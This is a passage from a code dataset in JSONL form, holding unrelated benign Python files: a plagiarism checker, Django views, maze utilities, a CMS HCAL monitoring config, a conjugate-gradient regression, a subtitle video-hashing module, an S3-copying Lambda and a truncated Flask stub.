dum=0\n for i in d:\n dum+=(d[i])**2\n dum=(dum)**(1/2)\n return dum\n denominator=(dotproduct_denominator(d1))*(dotproduct_denominator(d2))\n return (numerator/denominator)*100\n\n\nplist=[]\nfor i in range (len(Listy)):\n for j in range (len(Listy)):\n if i==j:\n plist.append(\"Nil\")\n else:\n f1=open(Listy[i],\"r\")\n f2=open(Listy[j],\"r\")\n plist.append(plagiarism(f1,f2))\n f1.close()\n f2.close()\n print(Listy[i],plist,\"\\n\")\n plist=[]\n\n\n","sub_path":"py files/BagOfWords.py","file_name":"BagOfWords.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"169808598","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom apps.postserver.forms import PostForm\nfrom apps.postserver.models import Post\nfrom datetime import datetime\n# Create your views here.\n\n\ndef index(request):\n x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')\n if x_forwarded_for:\n ip = x_forwarded_for.split(',')[0]\n else:\n ip = request.META.get('REMOTE_ADDR')\n #return HttpResponse('Hello world ' + ip)\n return render(request, 'postserver/index.html')\n\ndef post_view(request):\n if request.method == 'POST':\n form = PostForm(request.POST)\n if form.is_valid():\n profile = form.save(commit=False)\n profile.ip = request.META['REMOTE_ADDR']\n #print(profile.ip)\n #profile.timestamp = datetime.now()\n #print(profile.timestamp)\n profile.save()\n return redirect('/nuevo') # 'postserver:index'\n else:\n form = PostForm()\n return render(request, 'postserver/post_form.html', {'form':form})\n\ndef post_list(request):\n posts = Post.objects.order_by('-id')[:5][::-1]\n contexto = {'posts':posts}\n return render(request, 'postserver/postserver_list.html', contexto)\n","sub_path":"apps/postserver/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"574832787","text":"#!/usr/bin/python3\n\nfrom collections import namedtuple\nimport numpy\nimport csv\n\n\nWALL_MARK = -1\nPATH_MARK = -2\n\n\nPosition = namedtuple(\"Position\", [\"row\", \"col\"])\n\n\ndef is_inside(position, maze):\n rows, cols = maze.shape\n return 0 <= position.row < rows and 0 <= position.col < cols\n\n\ndef load_maze(filename):\n data = []\n with open(filename, newline=\"\") as csvfile:\n content = csv.reader(csvfile, delimiter=\",\")\n for row in content:\n row_data = list(map(lambda x: WALL_MARK if x == \"Z\" else int(x), row))\n data.append(row_data)\n\n rows = len(data)\n assert rows > 1\n cols = len(data[0])\n assert cols > 1\n\n matrix = numpy.array(data, dtype=int)\n print(f\" >> loaded {filename}\", matrix.shape)\n\n return matrix\n\n\ndef save_maze(maze, filename):\n with open(filename, \"wt\", newline=\"\") as csvfile:\n writer = csv.writer(csvfile)\n for row in maze:\n writer.writerow(row)\n\n print(f\" >> wrote {filename}\", maze.shape)\n","sub_path":"amaze.py","file_name":"amaze.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"492485525","text":"#!/usr/bin/env python\r\n#\r\n# setup.py: Hangul Module Setup\r\n#\r\n# Copyright (C) 2002-2003 Hye-Shik Chang .\r\n# All rights reserved.\r\n#\r\n# Redistribution and use in source and binary forms, with or without\r\n# modification, are permitted provided that the following conditions\r\n# are met:\r\n#\r\n# 1. Redistributions of source code must retain the above copyright\r\n# notice, this list of conditions and the following disclaimer.\r\n# 2. Redistributions in binary form must reproduce the above copyright\r\n# notice, this list of conditions and the following disclaimer in the\r\n# documentation and/or other materials provided with the distribution.\r\n#\r\n# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\r\n# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\r\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\n# DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,\r\n# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\r\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\r\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\r\n# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\r\n# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\r\n# IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\r\n# POSSIBILITY OF SUCH DAMAGE.\r\n#\r\n# $Id: setup.py,v 1.1 2003/09/21 13:23:43 perky Exp $\r\n#\r\n\r\nimport sys\r\nfrom distutils.core import setup, Extension\r\n\r\nLIBDIRS = []\r\n\r\nif sys.platform == 'win32' and '--compiler=mingw32' in sys.argv:\r\n LIBDIRS.append('.') # libpython23.a and libpython23.def\r\n\r\nsetup (name = \"hangul\",\r\n version = \"1.0\",\r\n description = \"Hangul Manipulation Module\",\r\n author = \"Hye-Shik Chang\",\r\n author_email = \"perky@FreeBSD.org\",\r\n url = \"http://cjkpython.berlios.de\",\r\n license = \"BSD Style (without advertisement clause)\",\r\n ext_modules =\r\n [Extension(\"hangul\", [\"hangul.c\"], library_dirs=LIBDIRS)]\r\n )\r\n\r\n# ex: ts=8 sts=4 et\r\n","sub_path":"hangul/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"162470897","text":"#-------------------------------------\n#\tHcal DQM Application using New DQM Sources/Clients\n#-------------------------------------\n\n#-------------------------------------\n#\tStandard Python Imports\n#-------------------------------------\nimport os, sys, socket, string\n\n#-------------------------------------\n#\tStandard CMSSW Imports/Definitions\n#-------------------------------------\nimport FWCore.ParameterSet.Config as cms\nprocess\t\t\t= cms.Process('HCALDQM')\nsubsystem\t\t= 'Hcal'\ncmssw\t\t\t= os.getenv(\"CMSSW_VERSION\").split(\"_\")\ndebugstr\t\t= \"### HcalDQM::cfg::DEBUG: \"\nwarnstr\t\t\t= \"### HcalDQM::cfg::WARN: \"\nerrorstr\t\t= \"### HcalDQM::cfg::ERROR:\"\nuseOfflineGT\t= False\nuseFileInput\t= False\nuseMap\t\t= False\n\n#-------------------------------------\n#\tCentral DQM Stuff imports\n#-------------------------------------\nfrom DQM.Integration.config.online_customizations_cfi import *\nif useOfflineGT:\n\tprocess.load(\"Configuration.StandardSequences.FrontierConditions_GlobalTag_condDBv2_cff\")\n\tprocess.GlobalTag.globaltag = '74X_dataRun2_HLT_v1'\nelse:\n\tprocess.load('DQM.Integration.config.FrontierCondition_GT_cfi')\nif useFileInput:\n\tprocess.load(\"DQM.Integration.config.fileinputsource_cfi\")\nelse:\n\tprocess.load('DQM.Integration.config.inputsource_cfi')\nprocess.load('DQMServices.Components.DQMEnvironment_cfi')\nprocess.load('DQM.Integration.config.environment_cfi')\n\n#-------------------------------------\n#\tCentral DQM Customization\n#-------------------------------------\nprocess.dqmEnv.subSystemFolder = subsystem\nprocess.dqmSaver.tag = subsystem\nreferenceFileName = '/dqmdata/dqm/reference/hcal_reference.root'\nprocess.DQMStore.referenceFileName = referenceFileName\nprocess = customise(process)\nprocess.DQMStore.verbose = 0\n\n#-------------------------------------\n#\tCMSSW/Hcal non-DQM Related Module import\n#-------------------------------------\nprocess.load(\"Configuration.StandardSequences.GeometryRecoDB_cff\")\n#process.load('Configuration.Geometry.GeometryIdeal_cff')\nprocess.load('FWCore.MessageLogger.MessageLogger_cfi')\nprocess.load(\"EventFilter.HcalRawToDigi.HcalRawToDigi_cfi\")\nprocess.load(\"RecoLocalCalo.Configuration.hcalLocalReco_cff\")\nprocess.load(\"SimCalorimetry.HcalTrigPrimProducers.hcaltpdigi_cff\")\nprocess.load(\"L1Trigger.Configuration.L1DummyConfig_cff\")\nprocess.load(\"EventFilter.L1GlobalTriggerRawToDigi.l1GtUnpack_cfi\")\n\n#-------------------------------------\n#\tCMSSW/Hcal non-DQM Related Module Settings\n#\t-> runType\n#\t-> Generic Input tag for the Raw Collection\n#\t-> cmssw version\n#\t-> Turn off default blocking of dead channels from rechit collection\n#\t-> Drop Channel Status Bits (had benn 'HcalCellOff', \"HcalCellDead\")\n#\t-> For Trigger Primitives Emulation\n#\t-> L1 GT setting\n#\t-> Rename the hbheprereco to hbhereco\n#-------------------------------------\nrunType\t\t\t= process.runType.getRunType()\nrunTypeName\t\t= process.runType.getRunTypeName()\nisCosmicRun\t\t= runTypeName==\"cosmic_run\" or runTypeName==\"cosmic_run_stage1\"\nisHeavyIon\t\t= runTypeName==\"hi_run\"\ncmssw\t\t\t= os.getenv(\"CMSSW_VERSION\").split(\"_\")\nrawTag\t\t\t= cms.InputTag(\"rawDataCollector\")\nrawTagUntracked = cms.untracked.InputTag(\"rawDataCollector\")\nif isHeavyIon:\n\trawTag = cms.InputTag(\"rawDataRepacker\")\n\trawTagUntracked = cms.untracked.InputTag(\"rawDataRepacker\")\nprocess.essourceSev = cms.ESSource(\n\t\t\"EmptyESSource\",\n\t\trecordName\t\t= cms.string(\"HcalSeverityLevelComputerRcd\"),\n\t\tfirstValid\t\t= cms.vuint32(1),\n\t\tiovIsRunNotTime\t= cms.bool(True)\n)\nprocess.hcalRecAlgos.DropChannelStatusBits = cms.vstring('')\nprocess.emulTPDigis = \\\n\t\tprocess.simHcalTriggerPrimitiveDigis.clone()\nprocess.emulTPDigis.inputLabel = \\\n\t\tcms.VInputTag(\"hcalDigis\", 'hcalDigis')\nprocess.emulTPDigis.FrontEndFormatError = \\\n\t\tcms.bool(True)\nprocess.HcalTPGCoderULUT.LUTGenerationMode = cms.bool(False)\nprocess.emulTPDigis.FG_threshold = cms.uint32(2)\nprocess.emulTPDigis.InputTagFEDRaw = rawTag\nprocess.l1GtUnpack.DaqGtInputTag = rawTag\nprocess.hbhereco = process.hbheprereco.clone()\nprocess.hcalDigis.InputLabel = rawTag\n\n#-------------------------------------\n#\tHcal DQM Tasks and Clients import\n#\tNew Style\n#-------------------------------------\nprocess.load(\"DQM.HcalTasks.RecHitTask\")\nprocess.load(\"DQM.HcalTasks.DigiTask\")\nprocess.load('DQM.HcalTasks.TPTask')\nprocess.load('DQM.HcalTasks.RawTask')\n\n#-------------------------------------\n#\tTo force using uTCA\n#\tWill not be here for Online DQM\n#-------------------------------------\nif useMap:\n process.GlobalTag.toGet.append(cms.PSet(record = cms.string(\"HcalElectronicsMapRcd\"),\n tag = cms.string(\"HcalElectronicsMap_v7.05_hlt\"),\n )\n )\n\n#-------------------------------------\n#\tFor Debugginb\n#-------------------------------------\n#process.hcalDigiTask.moduleParameters.debug = 10\n\n#-------------------------------------\n#\tSome Settings before Finishing up\n#\tNew Style Modules\n#-------------------------------------\noldsubsystem = subsystem\nprocess.rawTask.tagFEDs = rawTagUntracked\nprocess.digiTask.runkeyVal = runType\nprocess.digiTask.runkeyName = runTypeName\nprocess.rawTask.runkeyVal = runType\nprocess.rawTask.runkeyName = runTypeName\nprocess.recHitTask.runkeyVal = runType\nprocess.recHitTask.runkeyName = runTypeName\nprocess.tpTask.runkeyVal = runType\nprocess.tpTask.runkeyName = runTypeName\n\n#-------------------------------------\n#\tHcal DQM Tasks/Clients Sequences Definition\n#-------------------------------------\nprocess.tasksSequence = cms.Sequence(\n\t\tprocess.recHitTask\n\t\t+process.rawTask\n\t\t+process.digiTask\n\t\t+process.tpTask\n)\n\n#-------------------------------------\n#\tQuality Tester. May be in the future\n#-------------------------------------\n#process.qTester = cms.EDAnalyzer(\n#\t\"QualityTester\",\n#\tprescaleFactor = cms.untracked.int32(1),\n#\tqtList = cms.untracked.FileInPath(\n#\t\t\"DQM/HcalMonitorClient/data/hcal_qualitytest_config.xml\"),\n#\tgetQualityTestsFromFile = cms.untracked.bool(True),\n#\tqtestOnEndLumi = cms.untracked.bool(True),\n#\tqtestOnEndRun = cms.untracked.bool(True)\n#)\n\n#-------------------------------------\n#\tPaths/Sequences Definitions\n#-------------------------------------\nprocess.preRecoSequence = cms.Sequence(\n\t\tprocess.hcalDigis\n\t\t*process.l1GtUnpack\n)\n\nprocess.recoSequence = cms.Sequence(\n\t\tprocess.emulTPDigis\n\t\t+process.hfreco\n\t\t+process.hbhereco\n\t\t+process.horeco\n)\n\nprocess.dqmSequence = cms.Sequence(\n\t\tprocess.dqmEnv\n\t\t*process.dqmSaver\n)\n\nprocess.p = cms.Path(\n\t\tprocess.preRecoSequence\n\t\t*process.recoSequence\n\t\t*process.tasksSequence\n\t\t*process.dqmSequence\n)\n\n#process.schedule = cms.Schedule(process.p)\n\n#-------------------------------------\n#\tScheduling and Process Customizations\n#-------------------------------------\nprocess.options = cms.untracked.PSet(\n\t\tRethrow = cms.untracked.vstring(\n\t\t\t\"ProductNotFound\",\n\t\t\t\"TooManyProducts\",\n\t\t\t\"TooFewProducts\"\n\t\t)\n)\nprocess.options.wantSummary = cms.untracked.bool(True)\n","sub_path":"DQM/Integration/python/clients/hcal_dqm_sourceclient-live_cfg.py","file_name":"hcal_dqm_sourceclient-live_cfg.py","file_ext":"py","file_size_in_byte":6915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"505408882","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom fjlt import *\nfrom Trigonomity import *\n\n\nprint(\"Straigt line\")\na= np.array(\n [[1,2,3],\n [1,2,3],\n [1,2,3]])\nres = fjlt_usp(a,1)\nprint (res)\n#Return results on a straigt line.\n\n\nprint(\"90 degree angle\")\na1 = np.array([0,0,0])\na2 = np.array([1,0,0])\na3 = np.array([0,1,0])\na4 = np.array([1,1,0])\na= np.array(\n [a1,a2,a3,a4])\nprint(a)\nres = fjlt_usp(a.transpose(),2).transpose()\nprint(res)\n\nprint(getAngle(a[0],a[1],a[2]))\nprint(getAngle(res[0],res[1],res[2]))\n\ndef plotRandomDistances(elements,dims,reduceddims):\n vals = []\n a = np.random.rand(elements,dims)\n res = fjlt_usp(a.transpose(),reduceddims).transpose()\n for i in range(0,elements ):\n for j in range(i, elements ):\n for k in range(j, elements ):\n if(i != j and i != k and j != k):\n vals.append( getAngle(a[i],a[j],a[k]) - getAngle(res[i],res[j],res[k]))\n vals = [x for x in vals if (math.isnan(x) != True)]\n vals = sorted(vals)\n plt.hist(vals,\"auto\")\n plt.show()\n\n#plotRandomDistances(30,1000,50)\n#plotRandomDistances(30,1000,100)\n\ndef plotRandomDistances(elements,dims,reduceddims):\n vals = []\n a = np.random.rand(elements,dims)\n res = fjlt_usp(a.transpose(),reduceddims).transpose()\n for i in range(0,elements ):\n for j in range(i, elements ):\n for k in range(j, elements ):\n if(i != j and i != k and j != k):\n vals.append( getRad(a[i],a[j],a[k]) - getRad(res[i],res[j],res[k]))\n vals = [x for x in vals if (math.isnan(x) != True)]\n vals = sorted(vals)\n plt.hist(vals,\"auto\")\n plt.show()\n\nplotRandomDistances(30,1000,50)\nplotRandomDistances(30,1000,100)\n\ndef plotNormalDistances(elements,dims,reduceddims):\n vals = []\n mu = 0\n sigma = 0.001\n a = np.random.normal(mu,sigma,(elements,dims))\n res = fjlt_usp(a.transpose(),reduceddims).transpose()\n for i in range(0,elements ):\n for j in range(i, elements ):\n for k in range(j, elements ):\n if(i != j and i != k and j != k):\n vals.append( getRad(a[i],a[j],a[k]) - getRad(res[i],res[j],res[k]))\n vals = [x for x in vals if (math.isnan(x) != True)]\n vals = sorted(vals)\n plt.hist(vals,\"auto\")\n plt.show()\n\nplotNormalDistances(30,1000,50)\nplotNormalDistances(30,1000,100)\n\n\ndef testRandom(elements,dims,reduceddims):\n\n a = np.random.rand(elements,dims)\n res = fjlt_usp(a.transpose(),reduceddims).transpose()\n avg = 0\n for i in range(0,elements - 3):\n avg += abs(getAngle(a[i],a[i+1],a[i+2]) - getAngle(res[i],res[i+1],res[i+2]))\n return avg / elements\n\nprint(\"random tests 10 dims 1000 elements:\")\nprint(testRandom(1000,10,10))\nprint(testRandom(1000,10,9))\nprint(testRandom(1000,10,8))\nprint(testRandom(1000,10,7))\nprint(testRandom(1000,10,6))\nprint(testRandom(1000,10,5))\nprint(testRandom(1000,10,4))\n\nprint(\"random tests 100 dims 1000 elements:\")\nprint(testRandom(1000,100,50))\nprint(testRandom(1000,100,40))\nprint(testRandom(1000,100,30))\nprint(testRandom(1000,100,20))\nprint(testRandom(1000,100,15))\n\nprint(\"random tests 100 dims 10000 elements:\")\nprint(testRandom(10000,100,50))\nprint(testRandom(10000,100,40))\nprint(testRandom(10000,100,30))\nprint(testRandom(10000,100,20))\nprint(testRandom(10000,100,15))\n\nprint(\"random tests 1000 dims 10000 elements:\")\nprint(testRandom(1000,1000,50))\nprint(testRandom(1000,1000,40))\nprint(testRandom(1000,1000,30))\nprint(testRandom(1000,1000,20))\nprint(testRandom(1000,1000,15))\n\n\n\n\n\n\n## DONT USE\ndef plotRandomDistancesDotValues(elements,dims,reduceddims):\n vals = []\n a = np.random.rand(elements,dims)\n res = fjlt_usp(a.transpose(),reduceddims).transpose()\n for i in range(0,elements ):\n for j in range(i, elements ):\n for k in range(j, elements ):\n if(i != j and i != k and j != k):\n vals.append( dotWithoutNormalization(a[i],a[j],a[k]) - dotWithoutNormalization(res[i],res[j],res[k]))\n vals = [x for x in vals if (math.isnan(x) != True)]\n vals = sorted(vals)\n plt.hist(vals,\"auto\")\n plt.show()\n\n#plotRandomDistancesDotValues(30,1000,50)\n\n\n","sub_path":"build/AnglePrev.py","file_name":"AnglePrev.py","file_ext":"py","file_size_in_byte":4014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"646862953","text":"#Library to communicate with server\n\n#importing module that provides access to server\nimport usocket\n\n#initializing socket (TCP connection)\nsock = usocket.socket(usocket.AF_INET, usocket.SOCK_STREAM)\nsock.bind(('192.168.4.1',80)) #ip address of esp32 & port=80\nsock.listen(2) #enabling a server to accept connections\n\n#flags that indicate which operation we need to perform in the server\ninc_flag=0\ndec_flag=0\nres_flag=0\n#flag that indicate wether we are in the first iteration or not\nfirst=0\n\n#function to send increment indication to application\ndef write_inc():\n global inc_flag\n inc_flag=1\n \n#function to send decrement indication to application\ndef write_dec():\n global dec_flag\n dec_flag=1\n \n#function to send reset indication to application\ndef write_res():\n global res_flag\n res_flag=1\n\n#main function for server\ndef listen():\n #making the variables in the global scope\n global inc_flag\n global dec_flag\n global res_flag\n global first\n global text\n global conn\n #check if any of the flag is raised in the beggining of the function\n if((inc_flag==0) and (dec_flag==0) and (res_flag==0)):\n if (first==1): #close connection if only we passed the first iteration\n conn.close()\n print('Waiting for request')\n conn, addr = sock.accept() #accept a connection for socket\n req = conn.recv(1024) #receiving data from the socket\n text = str(req) #converting data to string\n #sending data to server\n conn.send('HTTP/1.1 200 OK\\n')\n conn.send('Content-Type: text\\html\\n')\n conn.send('\\n')\n #checking for raised flag in order to perform the suitable operation\n if(inc_flag==1):\n inc_flag=0\n print('inc_flag')\n conn.sendall('Increment\\n')\n elif(dec_flag==1):\n dec_flag=0\n print('dec_flag')\n conn.sendall('Decrement\\n')\n elif(res_flag==1):\n res_flag=0\n print('res_flag')\n conn.sendall('Reset\\n')\n else:\n conn.sendall('Request Recieved\\n')\n \n #indicating that we passed the first iteration\n first=1\n \n return text[7:10] #returning 3 letter message (inc or dec or reset)","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"362129561","text":"import argparse\nimport csv\nimport os\n\nimport pandas as pd\nimport sklearn.model_selection\nfrom sklearn.model_selection import StratifiedKFold\n\n#########################################\n# Python 3.7.9 #\n# input = csv file #\n# output = 'interractions.csv' #\n#########################################\n\n\ndef main(args):\n\n print('Adding data to the training dataset...')\n \n input = args.input\n datafile = args.file\n\n ###### Read file #####\n\n input_file = pd.read_csv(input, header=0)\n data = pd.read_csv(datafile, header=0)\n\n if ((data.sort_index(axis=1).columns != input_file.sort_index(axis=1).columns).any()):\n print('Invalid input file')\n else:\n for index in range(len(input_file)):\n if not ((data.sort_index(axis=1).values == input_file.sort_index(axis=1).iloc[index].values).all(axis=1).any()):\n data = data.append(input_file.iloc[index])\n print('Data added')\n else:\n print('Data '+str(index+1)+' already in the dataset')\n\n data.to_csv(datafile,index=False)\n print('Saving: ',os.path.basename(datafile))\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument('input',help='input csv data file to add to the training dataset')\n parser.add_argument('--file','-f',default='Data.csv',help='csv file containing all the training data')\n args = parser.parse_args()\n\n main(args)\n","sub_path":"python/src/Step0_AddTrainingData.py","file_name":"Step0_AddTrainingData.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"516822520","text":"# -- coding: utf-8 --\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# 生成数据\ndef getData(rank):\n X = np.arange(0, 1.0, 0.1)\n Y = [np.sin(x * 2 *np.pi) for x in X]\n trainY = np.array([np.random.normal(0,0.15) + y for y in Y])\n theta = np.array(np.random.normal(size=rank + 1))\n return X, trainY, theta\n\n# 共轭梯度法\ndef CGradient(arrX, arrY, arrW, regular):\n W = np.mat(arrW.copy()).T\n Y = np.mat(arrY.copy()).T\n X = np.mat(np.zeros((arrX.size, arrW.size)))\n a = arrX.size\n b = arrY.size\n for i in range(a):\n for j in range(b):\n X[i, j] = np.power(arrX[i], j)\n E = np.eye(arrW.size)\n\n if (regular == False) :\n A = X.T* X\n else:\n A = X.T * X + E * regular\n #计算梯度\n g = (np.dot(np.dot(X.T, X), W) - np.dot(X.T, Y))\n if (CalNorm(g) != 0):\n d = -g\n while (CalNorm(g) > 0.00002):\n step = (np.dot(-g.T, d) / np.dot(np.dot(d.T, A), d))[0, 0]\n W += step * d\n g = (np.dot(np.dot(X.T, X), W) - np.dot(X.T, Y))\n alpha = (np.dot(np.dot(d.T, A), g) / np.dot(np.dot(d.T, A), d))[0, 0]\n d = -g + alpha * d\n\n ret = np.array([W[i, 0] for i in range(arrW.size)])\n return ret\n\n# 计算二范数**2\ndef CalNorm(X):\n norm = 0.0\n for i in range(X.size):\n norm += X[i, 0] ** 2\n return norm\n\n\ndef predict(testX, theta, rank):\n testVanderX = (np.array([x ** r for x in testX\n for r in range(0, rank + 1, 1)])).reshape(len(testX), rank + 1)\n resultY = np.dot(testVanderX, theta)\n return resultY\n\n\nif __name__ == \"__main__\":\n rank = 9\n\n X, trainY, theta = getData(rank)\n theta2 = theta\n theta = CGradient(X, trainY, theta,False)\n\n testX = np.linspace(0, 1)\n resultY = predict(testX, theta, rank)\n theta2 = CGradient(X, trainY, theta2, True)\n regularResultY = predict(testX,theta2,rank)\n plt.title(\"CG\")\n plt.plot(X, trainY, 'ro')\n plt.plot(testX, np.sin(2 * np.pi * testX), 'r', label=\"TrueLine\")\n plt.plot(testX, resultY, 'g', label=\"CG\")\n plt.plot(testX, regularResultY, 'b', label=\"RegularCG\")\n plt.legend()\n plt.show()\n\n","sub_path":"linear-regression/codes/CG.py","file_name":"CG.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"10976902","text":"# -*- coding: utf-8 -*-\n#\n# Subliminal - Subtitles, faster than your thoughts\n# Copyright (c) 2011 Antoine Bertin \n#\n# This file is part of Subliminal.\n#\n# Subliminal is free software; you can redistribute it and/or modify it under\n# the terms of the Lesser GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n#\n# Subliminal is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# Lesser GNU General Public License for more details.\n#\n# You should have received a copy of the Lesser GNU General Public License\n# along with this program. If not, see .\n#\n\n\nimport struct\nimport os\nimport hashlib\nimport guessit\n\n\nclass Video(object):\n keyword_separators = ['.', '_', ' ', '/', '-']\n\n \"\"\"Base class for videos\"\"\"\n def __init__(self, path, keywords):\n self.path = path\n self.exists = os.path.exists(self.path)\n self.size = os.path.getsize(self.path)\n self.hashes = {}\n if self.exists:\n self._computeHashes()\n self.keywords = keywords\n\n def _computeHashes(self):\n self.hashes['OpenSubtitles'] = self._computeHashOpenSubtitles()\n self.hashes['TheSubDB'] = self._computeHashTheSubDB()\n\n def _computeHashOpenSubtitles(self):\n \"\"\"Hash a file like OpenSubtitles\"\"\"\n longlongformat = 'q' # long long\n bytesize = struct.calcsize(longlongformat)\n f = open(self.path, 'rb')\n filesize = os.path.getsize(self.path)\n hash = filesize\n if filesize < 65536 * 2:\n return []\n for _ in range(65536 / bytesize):\n buffer = f.read(bytesize)\n (l_value,) = struct.unpack(longlongformat, buffer)\n hash += l_value\n hash = hash & 0xFFFFFFFFFFFFFFFF # to remain as 64bit number\n f.seek(max(0, filesize - 65536), 0)\n for _ in range(65536 / bytesize):\n buffer = f.read(bytesize)\n (l_value,) = struct.unpack(longlongformat, buffer)\n hash += l_value\n hash = hash & 0xFFFFFFFFFFFFFFFF\n f.close()\n returnedhash = '%016x' % hash\n return returnedhash\n\n def _computeHashTheSubDB(self):\n \"\"\"Hash a file like TheSubDB\"\"\"\n readsize = 64 * 1024\n with open(self.path, 'rb') as f:\n data = f.read(readsize)\n f.seek(-readsize, os.SEEK_END)\n data += f.read(readsize)\n return hashlib.md5(data).hexdigest()\n\n @classmethod\n def factory(cls, path):\n #TODO: Work with lowercase\n \"\"\"Create a Video object guessing all informations from the given path\"\"\"\n guess = guessit.guess_file_info(path, 'autodetect')\n keywords = set()\n for k in ['releaseGroup', 'screenSize', 'videoCodec', 'format', 'container']:\n if k in guess:\n keywords = keywords | cls._splitKeyword(guess[k])\n if guess['type'] == 'episode' and 'series' in guess and 'season' in guess and 'episodeNumber' in guess:\n title = None\n if 'title' in guess:\n title = guess['title']\n return Episode(path, keywords, guess['series'], guess['season'], guess['episodeNumber'], title)\n if guess['type'] == 'movie' and 'title' in guess:\n year = None\n if 'year' in guess:\n year = guess['year']\n return Movie(path, keywords, guess['title'], year)\n return UnknownVideo(path, keywords, guess)\n\n @classmethod\n def _splitKeyword(cls, keyword):\n split = set()\n for sep in cls.keyword_separators:\n split = split | set(keyword.split(sep))\n return split\n\n\nclass Episode(Video):\n \"\"\"Episode class\"\"\"\n def __init__(self, path, keywords, series, season, episode, title=None):\n super(Episode, self).__init__(path, keywords)\n self.series = series\n self.title = title\n self.season = season\n self.episode = episode\n\n\nclass Movie(Video):\n \"\"\"Movie class\"\"\"\n def __init__(self, path, keywords, title, year=None):\n super(Movie, self).__init__(path, keywords)\n self.title = title\n self.year = year\n\n\nclass UnknownVideo(Video):\n \"\"\"Unknown video\"\"\"\n def __init__(self, path, keywords, guess):\n super(UnknownVideo, self).__init__(path, keywords)\n self.guess = guess\n","sub_path":"subliminal/videos.py","file_name":"videos.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"94527720","text":"import time\r\nimport urllib.request, urllib.parse, urllib.error\r\nimport json\r\nimport os.path\r\nimport boto3\r\nprint('Function start (CloudWatch)')\r\n\r\ns3 = boto3.client('s3')\r\n\r\ndef lambda_handler(event, context):\r\n source_bucket = event['Records'][0]['s3']['bucket']['name']\r\n key = urllib.parse.unquote_plus(event['Records'][0]['s3']['object']['key'])\r\n copy_source = {'Bucket':source_bucket, 'Key':key}\r\n \r\n #CloudWatch info\r\n print(\"Log stream name:\", context.log_stream_name)\r\n print(\"Log group name:\", context.log_group_name)\r\n print(\"Request ID:\",context.aws_request_id)\r\n print('Start of Try')\r\n\r\n #Logic\r\n try:\r\n waiter = s3.get_waiter('object_exists')\r\n waiter.wait(Bucket=source_bucket, Key=key)\r\n \r\n #get the file extension\r\n extension = os.path.splitext(key)[1]\r\n \r\n #copy from s3 to s3\r\n if extension==\".png\":\r\n s3.copy_object(Bucket=\"lambdabucketimage\", Key=key, CopySource=copy_source)\r\n if extension==\".pdf\":\r\n s3.copy_object(Bucket=\"lambdabucketpdf\", Key=key, CopySource=copy_source)\r\n if extension==\".txt\":\r\n s3.copy_object(Bucket=\"lambdabuckettext\", Key=key, CopySource=copy_source)\r\n \r\n except Exception as e:\r\n print(e)\r\n print('Error while trying to copy the file. Does not exist'.format(key, source_bucket))\r\n raise e\r\n\r\n print('End of function')","sub_path":"s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"375883600","text":"import json\nfrom flask import Flask, make_response, request\n\napp = Flask(__name__)\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index_get():\n return \"\"\"\n \n \n INDEX\n \n \n

Index

